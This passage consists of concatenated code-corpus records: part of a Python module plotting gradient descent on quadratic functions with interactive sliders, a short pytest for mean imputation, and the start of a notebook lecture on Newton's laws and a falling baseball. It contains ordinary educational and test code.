to plot? Let's look at the parameters\n    possible_plots = [\"graph\", \"levelset\", \"gradient\", \"flow\"]\n    have_to_plot = {plot : ((plot in plot_param.keys()) and plot_param[plot]) for plot in possible_plots}# a dict with bool values\n    number_have_to_plot = sum(list(have_to_plot.values())) # number of Trues in the dict\n    \n    return have_to_plot, number_have_to_plot\n\n\ndef is_in_box(x, box):\n    return box[0][0] < x[0] < box[0][1] and box[1][0] < x[1] < box[1][1]\n\n\ndef sequence_gradient(func, x0=np.ones(2),stepsize=0.1,iter_max=100, **param):\n    # here func is a function with a gradient parameter\n    seq = []\n    x = x0\n    if 'plot_box' in param.keys() and is_in_box(x, param['plot_box']):\n        seq.append(x)\n    for t in range(iter_max):\n        grad = func(x[0], x[1], gradient=True) # grad is a tuple, we can compine it with arrays\n        x = x - stepsize*np.array(grad)\n        if 'plot_box' in param.keys():\n            # we check that the sequence is still within the bounds of our plot.\n            if is_in_box(x, param['plot_box']):\n                seq.append(x)\n        else:\n            seq.append(x)\n    X = [x[0] for x in seq]\n    Y = [x[1] for x in seq]\n    return X, Y\n\n\n\ndef quadratic(A, b=np.zeros(2), c=0):\n    # returns the function 0.5*<AX,X> + <b,X> + c or its gradient\n    def func(x,y, gradient=None):\n        if gradient is None:\n            return 0.5*( x*(A[0,0]*x + A[0,1]*y) + y*(A[1,0]*x + A[1,1]*y) ) + b[0]*x + b[1]*y + c\n        else:\n            AA = 0.5*(A + A.T)\n            return ( AA[0,0]*x + AA[0,1]*y + b[0], AA[1,0]*x + AA[1,1]*y + b[1] )\n    return func\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\ndef plot2d_function(func, fig=None, **plot_param):\n    \"\"\" Reprensents a func : (x,y) ---> z in various ways\n        If we ask for more than one representation, \n        they are all displayed next to each other in a subplot\n        \n    INPUT:\n      - fig : the handle of the figure in which drawing\n      - func : a function with the signature func(x,y,gradient) \n            func(x,y) returns the value of the function at (x,y)\n            func(x,y,gradient=True) returns the value of the \n            gradient at (x,y), as a 2-tuple\n        \n    OUTPUT: None\n        \n    OPTIONAL PARAMETERS: there is a *lot* of them, here are the main ones. default values\n        are stored in the PARAM dictionary\n      - cmap, colormap (plt.cm.jet) : the same colormap is used for every plot\n      - style, str (None) : \"raw\" plots naked graphs, without axis, background or ticks\n      - plot_box, 2D array ([[-2,2],[-2,2]]) : The syntax is [[xmin, xmax],[ymin,ymax]].\n            Defines the box in which all the objects will be plotted\n      \n      - graph, bool (False) : tells if plotting the 3D graph of the function. Displayed by default.\n          - grid_size, int (20) : Controls the precision of the mesh for plotting the graph.\n          - title, str (None) : A title to display on top of the graph\n      \n      - levelset, bool (False) : tells if plotting the 2D levelsets of the function\n          - levels, int (15) : number of levelsets to be displayed\n          \n      - gradient, bool (False) : tells if plotting the 2D vector field of the gradient of the function\n      \n      - flow, bool (False) : tells if plotting the descent gradient flow curves of the function\n          - density, float (0.5) : density of the flow curves. Impacts the performance.\n          \n      - sequence, (list,list) (None) : if a sequence is specified, it will be plotted on top of the 2D\n            graphs (levelset, gradient, flow). Impossible to plot it on 3D surfaces so far. \n            The syntax is : a 2-tuple, each component being a list of floats (same size) representing\n            the x- and y-coordinates of the sequence.\n      - algo, str (None) : instead of specifying a sequence, you can just pass an argument to tell\n            which algorithm you want to run on the function. Currently supported:\n          - \"gradient\" : Runs the gradient descent algorithm. You can pass options:\n              - x0, 1D arrray (np.ones(2)) : the initialization of the algorithm\n              - iter_max, int (100) : the maximum number of iterations allowed\n              - stepsize, float (0.1) : the stepsize in the iteration x <-- x - stepsize*gradient\n    \"\"\"\n    # deal with optional parameters\n    plot_param = Dict(dict_merge(PARAM, plot_param))\n    have_to_plot, number_plots = get_plots_we_want(**plot_param)\n    if fig is None:\n        fig = plt.gcf()\n    if 'algo' in plot_param.keys() and plot_param.algo is not None:\n        if plot_param.algo == 'gradient':\n            seq = sequence_gradient(func, **plot_param)\n            if len(seq[0]) == 0: # we are out ouf bounds\n                plot_param.sequence = None\n            else:\n                plot_param.sequence = seq\n                s = np.ones(len(plot_param.sequence[0]))*40\n                s[0] = 120\n                plot_param.scatter_size = s\n    fig.canvas.header_visible = plot_param.header_visible\n    \n    k = 0\n    if have_to_plot['graph']:\n        k = k+1\n        ax = fig.add_subplot(1, number_plots, k, projection='3d')\n        ax = set_axis3d(ax, **plot_param)\n        ax.plot_surface(*function_values(func, **plot_param), cmap=plot_param.cmap, rstride=1, cstride=1);\n        ax.set_zlim(plot_param.zlim);\n    if have_to_plot['levelset']:\n        k = k+1\n        ax = fig.add_subplot(1, number_plots, k)\n        contour = ax.contour(*function_values(func, **plot_param), cmap=plot_param.cmap, levels=plot_param.levels_number)\n        if plot_param[\"style\"] != \"raw\":\n            ax.clabel(contour, inline=1, fontsize=7);\n        else:\n            plt.axis('off')\n        if 'sequence' in plot_param.keys() and plot_param['sequence'] is not None:\n            ax.scatter(*plot_param['sequence'], s=plot_param.scatter_size)\n    if have_to_plot['gradient']:\n        k = k+1\n        ax = fig.add_subplot(1, number_plots, k)\n        X,Y,U,V = field_values(lambda x,y : func(x,y,gradient=True), **plot_param)\n        _,_,COLOR = function_values(func, **plot_param)\n        contour = ax.quiver(X,Y,U,V,COLOR, cmap=plot_param.cmap)\n        if plot_param[\"style\"] == \"raw\":\n            plt.axis('off')\n        if 'sequence' in plot_param.keys() and plot_param['sequence'] is not None:\n            ax.scatter(*plot_param['sequence'], s=plot_param.scatter_size)\n    if have_to_plot['flow']:\n        k = k+1\n        ax = fig.add_subplot(1, number_plots, k)\n        X,Y,U,V = field_values(lambda x,y : func(x,y,gradient=True), **plot_param)\n        _,_,COLOR = function_values(func, **plot_param)\n        # Here we need to TRANSPOSE the vector field because??? streamplot is stupid? arrays are indexed in a different way??\n        contour = ax.streamplot(X.T[0],Y[0],-U.T,-V.T, color=COLOR, density=plot_param.density, cmap=plot_param.cmap)\n        if plot_param[\"style\"] == \"raw\":\n            plt.axis('off')\n        if 'sequence' in plot_param.keys() and plot_param['sequence'] is not None:\n            ax.scatter(*plot_param['sequence'], s=plot_param.scatter_size)\n    #print(plot_param)\n    #return fig\n\n\n\n\n\ndef widget_quadratic(**plot_param):\n    # given a function handle (taking two arguments, returning one)\n    # plots an interactive widget with graph and level set\n    \n    # parameters for the plot\n    default_param = {\n        'plot_box' : [[-2,2],[-2,2]],\n        'grid_size' : 30,\n        'style' : \"normal\",\n        'dpi' : 80,\n        'sequence' : None,\n        'algo' : None\n    }\n    if get_plots_we_want(**plot_param)[1] == 0:\n        default_param['graph'] = True\n    plot_param = { **default_param, **plot_param }\n    dpi = plot_param['dpi']\n\n    # define all the sliders we want to manipulate\n    slider_param = {\n        'min' : -2, \n        'max' : 2,\n        'orientation' : 'horizontal',\n        #'layout' : Layout(height='auto', width='auto')#Layout(width='40%', margin='0px 30% 0px 30%'),\n    }\n    slider_a11 = FloatSlider(description='$A_{11}$', value=2.0, **slider_param)\n    slider_a12 = FloatSlider(description='$A_{12}$', value=0.0, **slider_param)\n    slider_a21 = FloatSlider(description='$A_{21}$', value=0.0, **slider_param)\n    slider_a22 = FloatSlider(description='$A_{22}$', value=1.0, **slider_param)\n    slider_b1  = FloatSlider(description='$b_1$', value=0.0, **slider_param)\n    slider_b2  = FloatSlider(description='$b_2$', value=0.0, **slider_param)\n    if plot_param['algo'] is not None:\n        slider_x0  = FloatSlider(description='$x_0$', value=1.0, **slider_param)\n        slider_y0  = FloatSlider(description='$y_0$', value=1.0, **slider_param)\n        slider_stepsize = FloatSlider(description='stepsize', value=0.1, min=0.01, max=1, step=0.05)\n    \n    # we initialize everything\n    A_slider = np.array([[slider_a11.value, slider_a12.value], [slider_a21.value, slider_a22.value]])\n    b_slider = np.array([slider_b1.value, slider_b2.value])\n    plot_param[\"title\"] = print_info(A_slider)\n    if plot_param['algo'] is not None:\n        x0_slider = np.array([slider_x0.value, slider_y0.value])\n        plot_param['x0']= np.array([slider_x0.value, slider_y0.value])\n        stepsize_slider = slider_stepsize.value\n        plot_param['stepsize'] = slider_stepsize.value\n        #plot_param['sequence'] = sequence_gradient(A_slider, b_slider, x0_slider, stepsize_slider, **plot_param)\n\n    # open the figure\n    plt.ioff() # turn off interactive mode to be able to display widget. I honestly don't understand why. see https://github.com/matplotlib/ipympl/issues/220 or https://github.com/matplotlib/matplotlib/pull/17371\n    fig = plt.figure(dpi=dpi)\n    plt.ion()\n    fig.subplots_adjust(left=0.1, right=0.9, bottom=0.1, top=0.9)\n    _, number_plots = get_plots_we_want(**plot_param)\n    plt.gcf().set_size_inches(plt.figaspect(1/number_plots))\n    # plot a first draw\n    plot2d_function(quadratic(A_slider,b_slider), fig,  **plot_param)\n\n    # the function handling the change of parameters\n    def update_plot(change, slider, idx):\n        # store the camera 3D view, then clears the figure\n        if 'graph' in plot_param.keys() and plot_param['graph']:\n            plot_param['azimuth'] = fig.get_axes()[0].azim # remember there are two subplots\n            plot_param['elevation'] = fig.get_axes()[0].elev\n        fig.clear()\n        # update the parameters\n        A = A_slider\n        b = b_slider\n        if slider == 'A':\n            A[idx] = change.new\n        elif slider == 'b':\n            b[idx] = change.new\n        plot_param[\"title\"] = print_info(A)\n        if plot_param['algo'] is not None:\n            plot_param['x0'] = x0_slider\n            plot_param['stepsize'] = stepsize_slider\n            if slider == 'x0':\n                plot_param['x0'][idx] = change.new\n            elif slider == 'stepsize':\n                plot_param['stepsize'] = change.new\n        # plot\n        plot2d_function(quadratic(A,b), fig, **plot_param)\n        _=fig.canvas.draw()\n        _=fig.canvas.flush_events()\n\n    # keep track of changes\n    slider_a11.observe(lambda change : update_plot(change, 'A', (0,0)), names='value')\n    slider_a21.observe(lambda change : update_plot(change, 'A', (1,0)), names='value')\n    slider_a12.observe(lambda change : update_plot(change, 'A', (0,1)), names='value')\n    slider_a22.observe(lambda change : update_plot(change, 'A', (1,1)), names='value')\n    slider_b1.observe(lambda change : update_plot(change, 'b', (0,)), names='value')\n    slider_b2.observe(lambda change : update_plot(change, 'b', (1,)), names='value')\n    if plot_param['algo'] is not None:\n        slider_x0.observe(lambda change : update_plot(change, 'x0', (0,)), names='value')\n        slider_y0.observe(lambda change : update_plot(change, 'x0', (1,)), names='value')\n        slider_stepsize.observe(lambda change : update_plot(change, 'stepsize', None), names='value')\n\n    # now we display all of this\n    # a grid of sliders for the parameters\n    grid = GridspecLayout(2, 3)\n    grid[0,0] = slider_a11\n    grid[1,0] = slider_a21\n    grid[0,1] = slider_a12\n    grid[1,1] = slider_a22\n    grid[0,2] = slider_b1\n    grid[1,2] = slider_b2\n    header=grid\n    # optional sliders for the sequence\n    if plot_param['algo'] is not None:\n        grid2 = GridspecLayout(1, 3)\n        grid2[0,0] = slider_x0\n        grid2[0,1] = slider_y0\n        grid2[0,2] = slider_stepsize\n        footer=grid2\n    else:\n        footer=None\n    \n    # we gather everything\n    return AppLayout(\n        header=header,\n        left_sidebar=None,\n        center=fig.canvas,\n        right_sidebar=None,\n        footer=footer\n    )\n\n\n\n", "meta": {"hexsha": "64141e0add6381c2dc2028f035e2c98000baac69", "size": 19703, "ext": "py", "lang": "Python", "max_stars_repo_path": "nice_functions.py", "max_stars_repo_name": "Guillaume-Garrigos/teaching_online_notebooks", "max_stars_repo_head_hexsha": "9b1b849810da8447e399d163cf914de0e5a35a1b", "max_stars_repo_licenses": ["MIT"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "nice_functions.py", "max_issues_repo_name": "Guillaume-Garrigos/teaching_online_notebooks", "max_issues_repo_head_hexsha": "9b1b849810da8447e399d163cf914de0e5a35a1b", "max_issues_repo_licenses": ["MIT"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "nice_functions.py", "max_forks_repo_name": "Guillaume-Garrigos/teaching_online_notebooks", "max_forks_repo_head_hexsha": "9b1b849810da8447e399d163cf914de0e5a35a1b", "max_forks_repo_licenses": ["MIT"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 40.1283095723, "max_line_length": 1155, "alphanum_fraction": 0.6291427701, "include": true, "reason": "import numpy", "num_tokens": 5493, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.5, "lm_q2_score": 0.12252321572224491, "lm_q1q2_score": 0.061261607861122454}}
{"text": "import pandas as pd\nimport numpy as np\nimport pytest\nfrom pandas.testing import assert_frame_equal\nfrom pandas.testing import assert_series_equal\n\nfrom scripts.data_processing import impute_mean\n\n\ndef test_impute_mean_one_value():\n    data = pd.Series([1.0, np.nan, 3.0])  # 1. Define some input data\n    expected = pd.Series([1.0, 2.0, 3.0])  # 2. Define what is expected to happen\n    actual = impute_mean(data)  # 3. Run function and record what happens\n    assert_series_equal(expected, actual)  # 4. Make sure expected and actual are equal\n", "meta": {"hexsha": "071962d24d2aab579e4d0be8f007b5301cc0bdd7", "size": 545, "ext": "py", "lang": "Python", "max_stars_repo_path": "optional/test_data_imputation.py", "max_stars_repo_name": "aanysofia/ds-eda-project", "max_stars_repo_head_hexsha": "96d9f6f01ef9de9bc25087c7c9141c9d2aa921f3", "max_stars_repo_licenses": ["MIT"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "optional/test_data_imputation.py", "max_issues_repo_name": "aanysofia/ds-eda-project", "max_issues_repo_head_hexsha": "96d9f6f01ef9de9bc25087c7c9141c9d2aa921f3", "max_issues_repo_licenses": ["MIT"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "optional/test_data_imputation.py", "max_forks_repo_name": "aanysofia/ds-eda-project", "max_forks_repo_head_hexsha": "96d9f6f01ef9de9bc25087c7c9141c9d2aa921f3", "max_forks_repo_licenses": ["MIT"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 36.3333333333, "max_line_length": 87, "alphanum_fraction": 0.752293578, "include": true, "reason": "import numpy", "num_tokens": 147, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO\n\n", "lm_q1_score": 0.5, "lm_q2_score": 0.12252319970181708, "lm_q1q2_score": 0.06126159985090854}}
{"text": "#!/usr/bin/env python\n# coding: utf-8\n\n# # Simple Motion problems and Reminder on Newton's Laws\n# \n# \n# ## Basic Steps of Scientific Investigations\n# \n# \n# An overarching aim in this course is to give you a deeper\n# understanding of the scientific method. The problems we study will all\n# involve cases where we can apply classical mechanics. In our previous\n# material we already assumed that we had a model for the motion of an\n# object.  Alternatively we could have data from experiment (like Usain\n# Bolt's 100m world record run in 2008).  Or we could have performed\n# ourselves an experiment and we want to understand which forces are at\n# play and whether these forces can be understood in terms of\n# fundamental forces.\n# \n# Our first step consists in identifying the problem. What we sketch\n# here may include a mix of experiment and theoretical simulations, or\n# just experiment or only theory.\n# \n# \n# ### Identifying our System\n# \n# Here we can ask questions like\n# 1. What kind of object is moving\n# \n# 2. What kind of data do we have\n# \n# 3. How do we measure position, velocity, acceleration etc\n# \n# 4. Which initial conditions influence our system\n# \n# 5. Other aspects which allow us to identify the system\n# \n# ### Defining a Model\n# \n# With our eventual data and observations we would now like to develop a\n# model for the system. In the end we want obviously to be able to\n# understand which forces are at play and how they influence our\n# specific system. That is, can we extract some deeper insights about a\n# system?\n# \n# We need then to\n# 1. Find the forces that act on our system\n# \n# 2. Introduce models for the forces\n# \n# 3. Identify the equations which can govern the system (Newton's second law for example)\n# \n# 4. More elements we deem important for defining our model\n# \n# ### Solving the Equations\n# \n# With the model at hand, we can then solve the equations. In classical mechanics we normally end up  with solving sets of coupled ordinary differential equations or partial differential equations.\n# 1. Using Newton's second law we have equations of the type $\\boldsymbol{F}=m\\boldsymbol{a}=md\\boldsymbol{v}/dt$\n# \n# 2. We need to  define the initial conditions (typically the initial velocity and position as functions of time) and/or initial conditions and boundary conditions\n# \n# 3. The solution of the equations give us then the position, the velocity and other time-dependent quantities which may specify the motion of a given object.\n# \n# We are not yet done. With our lovely solvers, we need to start thinking.\n# \n# \n# ### Analyze\n# \n# Now it is time to ask the big questions. What do our results mean? Can we give a simple interpretation in terms of fundamental laws?  What do our results mean? Are they correct?\n# Thus, typical questions we may ask are\n# 1. Are our results for say $\\boldsymbol{r}(t)$ valid?  Do we trust what we did?  Can you validate and verify the correctness of your results?\n# \n# 2. Evaluate the answers and their implications\n# \n# 3. Compare with experimental data if possible. Does our model make sense?\n# \n# 4. and obviously many other questions.\n# \n# The analysis stage feeds back to the first stage. It may happen that\n# the data we had were not good enough, there could be large statistical\n# uncertainties. We may need to collect more data or perhaps we did a\n# sloppy job in identifying the degrees of freedom.\n# \n# All these steps are essential elements in a scientific\n# enquiry. Hopefully, through a mix of numerical simulations, analytical\n# calculations and experiments we may gain a deeper insight about the\n# physics of a specific system.\n# \n# \n# ## Newton's Laws\n# \n# Let us now remind ourselves of Newton's laws, since these are the laws of motion we will study in this course.\n# \n# \n# When analyzing a physical system we normally start with distinguishing between the object we are studying (we will label this in more general terms as our **system**) and how this system interacts with the environment (which often means everything else!)\n# \n# In our investigations we will thus analyze a specific physics problem in terms of the system and the environment.\n# In doing so we need to identify the forces that act on the system and assume that the\n# forces acting on the system must have a source, an identifiable cause in\n# the environment.\n# \n# A force acting on for example a falling object must be related to an interaction with something in the environment.\n# This also means that we do not consider internal forces. The latter are forces between\n# one part of the object and another part. In this course we will mainly focus on external forces.\n# \n# Forces are either contact forces or long-range forces.\n# \n# Contact forces, as evident from the name, are forces that occur at the contact between\n# the system and the environment. Well-known long-range forces are the gravitional force and the electromagnetic force.\n# \n# \n# \n# \n# In order to set up the forces which act on an object, the following steps may be useful\n# 1. Divide the problem into system and environment.\n# \n# 2. Draw a figure of the object and everything in contact with the object.\n# \n# 3. Draw a closed curve around the system.\n# \n# 4. Find contact points\u2014these are the points where contact forces may act.\n# \n# 5. Give names and symbols to all the contact forces.\n# \n# 6. Identify the long-range forces.\n# \n# 7. Make a drawing of the object. Draw the forces as arrows, vectors, starting from where the force is acting. The direction of the vector(s) indicates the (positive) direction of the force. Try to make the length of the arrow indicate the relative magnitude of the forces.\n# \n# 8. Draw in the axes of the coordinate system. It is often convenient to make one axis parallel to the direction of motion. When you choose the direction of the axis you also choose the positive direction for the axis.\n# \n# Newton\u2019s second law of motion: The force $\\boldsymbol{F}$ on an object of inertial mass $m$\n# is related to the acceleration a of the object through\n\n# $$\n# \\boldsymbol{F} = m\\boldsymbol{a},\n# $$\n\n# where $\\boldsymbol{a}$ is the acceleration.\n# \n# Newton\u2019s laws of motion are laws of nature that have been found by experimental\n# investigations and have been shown to hold up to continued experimental investigations.\n# Newton\u2019s laws are valid over a wide range of length- and time-scales. We\n# use Newton\u2019s laws of motion to describe everything from the motion of atoms to the\n# motion of galaxies.\n# \n# The second law is a vector equation with the acceleration having the same\n# direction as the force. The acceleration is proportional to the force via the mass $m$ of the system under study.\n# \n# \n# Newton\u2019s second law introduces a new property of an object, the so-called \n# inertial mass $m$. We determine the inertial mass of an object by measuring the\n# acceleration for a given applied force.\n# \n# \n# \n# ### Then the First Law\n# \n# What happens if the net external force on a body is zero? Applying Newton\u2019s second\n# law, we find:\n\n# $$\n# \\boldsymbol{F} = 0 = m\\boldsymbol{a},\n# $$\n\n# which gives using the definition of the acceleration\n\n# $$\n# \\boldsymbol{a} = \\frac{d\\boldsymbol{v}}{dt}=0.\n# $$\n\n# The acceleration is zero, which means that the velocity of the object is constant. This\n# is often referred to as Newton\u2019s first law. An object in a state of uniform motion tends to remain in\n# that state unless an external force changes its state of motion.\n# Why do we need a separate law for this? Is it not simply a special case of Newton\u2019s\n# second law? Yes, Newton\u2019s first law can be deduced from the second law as we have\n# illustrated. However, the first law is often used for a different purpose: Newton\u2019s\n# First Law tells us about the limit of applicability of Newton\u2019s Second law. Newton\u2019s\n# Second law can only be used in reference systems where the First law is obeyed. But\n# is not the First law always valid? No! The First law is only valid in reference systems\n# that are not accelerated. If you observe the motion of a ball from an accelerating\n# car, the ball will appear to accelerate even if there are no forces acting on it. We call\n# systems that are not accelerating inertial systems, and Newton\u2019s first law is often\n# called the law of inertia. Newton\u2019s first and second laws of motion are only valid in\n# inertial systems. \n# \n# A system is an inertial system if it is not accelerated. It means that the reference system\n# must not be accelerating linearly or rotating. Unfortunately, this means that most\n# systems we know are not really inertial systems. For example, the surface of the\n# Earth is clearly not an inertial system, because the Earth is rotating. The Earth is also\n# not an inertial system, because it ismoving in a curved path around the Sun. However,\n# even if the surface of the Earth is not strictly an inertial system, it may be considered\n# to be approximately an inertial system for many laboratory-size experiments.\n# \n# \n# ### And finally the Third Law\n# \n# If there is a force from object A on object B, there is also a force from object B on object A.\n# This fundamental principle of interactions is called Newton\u2019s third law. We do not\n# know of any force that do not obey this law: All forces appear in pairs. Newton\u2019s\n# third law is usually formulated as: For every action there is an equal and opposite\n# reaction.\n# \n# \n# \n# \n# \n# \n# \n# ## Falling baseball in one dimension\n# \n# We anticipate the mathematical model to come and assume that we have a\n# model for the motion of a falling baseball without air resistance.\n# Our system (the baseball) is at an initial height $y_0$ (which we will\n# specify in the program below) at the initial time $t_0=0$. In our program example here we will plot the position in steps of $\\Delta t$ up to a final time $t_f$. \n# The mathematical formula for the position $y(t)$ as function of time $t$ is\n\n# $$\n# y(t) = y_0-\\frac{1}{2}gt^2,\n# $$\n\n# where $g=9.80665=0.980655\\times 10^1$m/s$^2$ is a constant representing the standard acceleration due to gravity.\n# We have here adopted the conventional standard value. This does not take into account other effects, such as buoyancy or drag.\n# Furthermore, we stop when the ball hits the ground, which takes place at\n\n# $$\n# y(t) = 0= y_0-\\frac{1}{2}gt^2,\n# $$\n\n# which gives us a final time $t_f=\\sqrt{2y_0/g}$. \n# \n# As of now we simply assume that   we know the formula for the falling object. Afterwards, we will derive it.\n# \n# \n# \n# We start with preparing folders for storing our calculations, figures and if needed, specific data files we use as input or output files.\n\n# In[1]:\n\n\nget_ipython().run_line_magic('matplotlib', 'inline')\n\n# Common imports\nimport numpy as np\nimport pandas as pd\nimport matplotlib.pyplot as plt\nimport os\n\n# Where to save the figures and data files\nPROJECT_ROOT_DIR = \"Results\"\nFIGURE_ID = \"Results/FigureFiles\"\nDATA_ID = \"DataFiles/\"\n\nif not os.path.exists(PROJECT_ROOT_DIR):\n    os.mkdir(PROJECT_ROOT_DIR)\n\nif not os.path.exists(FIGURE_ID):\n    os.makedirs(FIGURE_ID)\n\nif not os.path.exists(DATA_ID):\n    os.makedirs(DATA_ID)\n\ndef image_path(fig_id):\n    return os.path.join(FIGURE_ID, fig_id)\n\ndef data_path(dat_id):\n    return os.path.join(DATA_ID, dat_id)\n\ndef save_fig(fig_id):\n    plt.savefig(image_path(fig_id) + \".png\", format='png')\n\n#in case we have an input file we wish to read in\n#infile = open(data_path(\"MassEval2016.dat\"),'r')\n\n\n# You could also define a function for making our plots. You\n# can obviously avoid this and simply set up various **matplotlib**\n# commands every time you need them. You may however find it convenient\n# to collect all such commands in one function and simply call this\n# function.\n\n# In[2]:\n\n\nfrom pylab import plt, mpl\nplt.style.use('seaborn')\nmpl.rcParams['font.family'] = 'serif'\n\ndef MakePlot(x,y, styles, labels, axlabels):\n    plt.figure(figsize=(10,6))\n    for i in range(len(x)):\n        plt.plot(x[i], y[i], styles[i], label = labels[i])\n        plt.xlabel(axlabels[0])\n        plt.ylabel(axlabels[1])\n    plt.legend(loc=0)\n\n\n# Thereafter we start setting up the code for the falling object.\n\n# In[3]:\n\n\nget_ipython().run_line_magic('matplotlib', 'inline')\nimport matplotlib.patches as mpatches\n\ng = 9.80655 #m/s^2\ny_0 = 10.0 # initial position in meters\nDeltaT = 0.1  # time step\n# final time when y = 0, t = sqrt(2*10/g)\ntfinal = np.sqrt(2.0*y_0/g)\n#set up arrays \nt = np.arange(0,tfinal,DeltaT)\ny =y_0 -g*.5*t**2\n# Then make a nice printout in table form using Pandas\nimport pandas as pd\nfrom IPython.display import display\ndata = {'t[s]': t,\n        'y[m]': y\n        }\nRawData = pd.DataFrame(data)\ndisplay(RawData)\nplt.style.use('ggplot')\nplt.figure(figsize=(8,8))\nplt.scatter(t, y, color = 'b')\nblue_patch = mpatches.Patch(color = 'b', label = 'Height y as function of  time t')\nplt.legend(handles=[blue_patch])\nplt.xlabel(\"t[s]\")\nplt.ylabel(\"y[m]\")\nsave_fig(\"FallingBaseball\")\nplt.show()\n\n\n# Here we used **pandas** (see below) to systemize the output of the position as function of time.\n# \n# \n# \n# We define now the average velocity as\n\n# $$\n# \\overline{v}(t) = \\frac{y(t+\\Delta t)-y(t)}{\\Delta t}.\n# $$\n\n# In the code we have set the time step $\\Delta t$ to a given value. We could define it in terms of the number of points $n$ as\n\n# $$\n# \\Delta t = \\frac{t_{\\mathrm{final}-}t_{\\mathrm{initial}}}{n+1}.\n# $$\n\n# Since we have discretized the variables, we introduce the counter $i$ and let $y(t)\\rightarrow y(t_i)=y_i$ and $t\\rightarrow t_i$\n# with $i=0,1,\\dots, n$. This gives us the following shorthand notations that we will use for the rest of this course. We define\n\n# $$\n# y_i = y(t_i),\\hspace{0.2cm} i=0,1,2,\\dots,n.\n# $$\n\n# This applies to other variables which depend on say time. Examples are the velocities, accelerations, momenta etc.\n# Furthermore we use the shorthand\n\n# $$\n# y_{i\\pm 1} = y(t_i\\pm \\Delta t),\\hspace{0.12cm} i=0,1,2,\\dots,n.\n# $$\n\n# ### Compact equations\n# \n# We can then rewrite in a more compact form the average velocity as\n\n# $$\n# \\overline{v}_i = \\frac{y_{i+1}-y_{i}}{\\Delta t}.\n# $$\n\n# The velocity is defined as the change in position per unit time.\n# In the limit $\\Delta t \\rightarrow 0$ this defines the instantaneous velocity, which is nothing but the slope of the position at a time $t$.\n# We have thus\n\n# $$\n# v(t) = \\frac{dy}{dt}=\\lim_{\\Delta t \\rightarrow 0}\\frac{y(t+\\Delta t)-y(t)}{\\Delta t}.\n# $$\n\n# Similarly, we can define the average acceleration as the change in velocity per unit time as\n\n# $$\n# \\overline{a}_i = \\frac{v_{i+1}-v_{i}}{\\Delta t},\n# $$\n\n# resulting in the instantaneous acceleration\n\n# $$\n# a(t) = \\frac{dv}{dt}=\\lim_{\\Delta t\\rightarrow 0}\\frac{v(t+\\Delta t)-v(t)}{\\Delta t}.\n# $$\n\n# **A note on notations**: When writing for example the velocity as $v(t)$ we are then referring to the continuous and instantaneous value. A subscript like\n# $v_i$ refers always to the discretized values.\n# \n# \n# We can rewrite the instantaneous acceleration as\n\n# $$\n# a(t) = \\frac{dv}{dt}=\\frac{d}{dt}\\frac{dy}{dt}=\\frac{d^2y}{dt^2}.\n# $$\n\n# This forms the starting point for our definition of forces later. It is a famous second-order differential equation. If the acceleration is constant we can now recover the formula for the falling ball we started with.\n# The acceleration can depend on the position and the velocity. To be more formal we should then write the above differential equation as\n\n# $$\n# \\frac{d^2y}{dt^2}=a(t,y(t),\\frac{dy}{dt}).\n# $$\n\n# With given initial conditions for $y(t_0)$ and $v(t_0)$ we can then\n# integrate the above equation and find the velocities and positions at\n# a given time $t$.\n# \n# If we multiply with mass, we have one of the famous expressions for Newton's second law,\n\n# $$\n# F(y,v,t)=m\\frac{d^2y}{dt^2}=ma(t,y(t),\\frac{dy}{dt}),\n# $$\n\n# where $F$ is the force acting on an object with mass $m$. We see that it also has the right dimension, mass times length divided by time squared.\n# We will come back to this soon.\n# \n# \n# ### Integrating our equations\n# \n# Formally we can then, starting with the acceleration (suppose we have measured it, how could we do that?)\n# compute say the height of a building.  To see this we perform the following integrations from an initial time $t_0$  to a given time $t$\n\n# $$\n# \\int_{t_0}^t dt a(t) = \\int_{t_0}^t dt \\frac{dv}{dt} = v(t)-v(t_0),\n# $$\n\n# or as\n\n# $$\n# v(t)=v(t_0)+\\int_{t_0}^t dt a(t).\n# $$\n\n# When we know the velocity as function of time, we can find the position as function of time starting from the defintion of velocity as the derivative with respect to time, that is we have\n\n# $$\n# \\int_{t_0}^t dt v(t) = \\int_{t_0}^t dt \\frac{dy}{dt} = y(t)-y(t_0),\n# $$\n\n# or as\n\n# $$\n# y(t)=y(t_0)+\\int_{t_0}^t dt v(t).\n# $$\n\n# These equations define what is called the integration method for\n# finding the position and the velocity as functions of time. There is\n# no loss of generality if we extend these equations to more than one\n# spatial dimension.\n# \n# \n# Let us compute the velocity using the constant value for the acceleration given by $-g$. We have\n\n# $$\n# v(t)=v(t_0)+\\int_{t_0}^t dt a(t)=v(t_0)+\\int_{t_0}^t dt (-g).\n# $$\n\n# Using our initial time as $t_0=0$s and setting the initial velocity $v(t_0)=v_0=0$m/s we get when integrating\n\n# $$\n# v(t)=-gt.\n# $$\n\n# The more general case is\n\n# $$\n# v(t)=v_0-g(t-t_0).\n# $$\n\n# We can then integrate the velocity and obtain the final formula for the position as function of time through\n\n# $$\n# y(t)=y(t_0)+\\int_{t_0}^t dt v(t)=y_0+\\int_{t_0}^t dt v(t)=y_0+\\int_{t_0}^t dt (-gt),\n# $$\n\n# With $y_0=10$m and $t_0=0$s, we obtain the equation we started with\n\n# $$\n# y(t)=10-\\frac{1}{2}gt^2.\n# $$\n\n# ### Computing the averages\n# \n# After this mathematical background we are now ready to compute the mean velocity using our data.\n\n# In[4]:\n\n\n# Now we can compute the mean velocity using our data\n# We define first an array Vaverage\nn = np.size(t)\nVaverage = np.zeros(n)\nfor i in range(1,n-1):\n    Vaverage[i] = (y[i+1]-y[i])/DeltaT\n# Now we can compute the mean accelearatio using our data\n# We define first an 